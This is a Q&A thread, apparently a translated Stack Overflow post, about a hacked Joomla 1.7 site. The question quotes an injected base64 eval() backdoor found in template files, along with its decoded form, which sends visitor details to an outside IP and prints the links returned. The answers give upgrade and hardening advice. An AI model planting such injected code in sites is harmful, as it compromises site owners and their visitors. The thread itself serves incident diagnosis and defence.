Php 网站后门&;eval()
我正在运行一个Joomla 1.7网站,它今天被黑客入侵了。下面的脚本进行了黑客攻击Php 网站后门&;eval(),php,joomla,joomla1.7,Php,Joomla,Joomla1.7,我正在运行一个Joomla 1.7网站,它今天被黑客入侵了。下面的脚本进行了黑客攻击 eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZ
eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));
上面这一行被注入到templates文件夹的我的index.php
文件中。文件夹中的每个模板都有上述代码。在每个文件中都重复了几次
当我解码代码时,它会输出
print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI']));
我删除了脚本和网站恰好工作良好。脚本并没有做任何不好的事情,只是站点根本并没有加载
我的问题是,即使我将文件权限设置为644,文件夹权限设置为755,怎么会发生这种情况
我怎样才能找出问题的原因?我应该采取什么措施来防止将来发生这种情况
更新
这非常有用它不是从文件系统读取文件,而是直接从外部URL读取。您可以通过php.ini设置禁止读取php中的任何外部URL:
allow_url_fopen = 0
你运行的Joomla 1.7站点怎么样?Joomla 1.7不再受支持,自发布以来,Joomla中添加了多个安全修复程序。您应该立即升级到2.5.9。应该没有向后兼容性问题,因为2.5.9只是Joomla 1.7的长期支持版本 检查您的PHP设置是否符合Joomla安全检查表中的建议。确保您的PHP和MYSQL版本是合理的最新版本(至少PHP5.3.x-最好是5.4.x,MYSQL至少是5.0.4) 最后,确保所有扩展都是最新的。同样,开发人员不断更新模块,不仅是为了添加新功能,也是为了添加额外/改进的安全性,或者是为了防止发现漏洞
另外,请不要像Steven所说的那样打开allow_url_fopen,这将导致Joomla的一键更新停止正常工作。根据您告诉我们的,不可能查明黑客的原因,但最可能的原因(几乎可以肯定)是您正在运行某些软件的旧版本,他们知道黑客能够攻击的安全漏洞
- 检查您的PHP版本:如果它低于v5.3.21或v5.4.11(即当前版本),则可能存在安全漏洞。如果它是v5.2或更低版本,那么它肯定是易受攻击的(5.2已经两年没有得到支持了)。如果您的主机提供商的PHP版本不是最新的,那么您需要麻烦他们修复它。如果他们不修复它,你需要找到一个更好的主机
- 检查你的joomla版本:它是最新的吗?您提到它是v1.7:这不是1.7一年半前发布的最新版本。目前的版本是2.5和3.0。这意味着你几乎肯定有安全漏洞,这意味着你可以被黑客攻击。从1.7升级到2.5可能会很痛苦,但如果您想安全,就必须这样做
还有其他方法可以让你被黑客攻击;让我们不要低估他们;他们中的大多数都在你的控制之外。保持您的软件版本更新是您的头号最佳防御。我怎么才能知道是哪一种呢?嗯,被您的托管服务的其他用户黑客攻击是最不可能的原因。软件中的漏洞或使电脑感染病毒是更常见的原因。@Dasun大多数Joomla网站都是通过易受攻击的第三方扩展受到黑客攻击的。检查您安装的扩展,查看每个扩展,看看您的版本中是否存在已知的漏洞。这也将禁用twitter和facebook插件。我有一个“喜欢”按钮和一个“跟随”按钮。因此,这不是一个选项。它不会禁用Twitter和Facebook按钮。对外部URL的请求是由用户自己直接发出的,而不是您的服务器。这就是Twitter和Facebook按钮知道谁在点击它们的方式。这将阻止Joomla的一键更新工作!allow_url_fopen=0也将禁用twitter和facebook插件。我有一个“喜欢”按钮和一个“跟随”按钮。所以这不是一个选项。是否有从1.7到2.x的升级路径?是的。您只需进入Joomla更新管理器。这里还有完整的文档页面说明: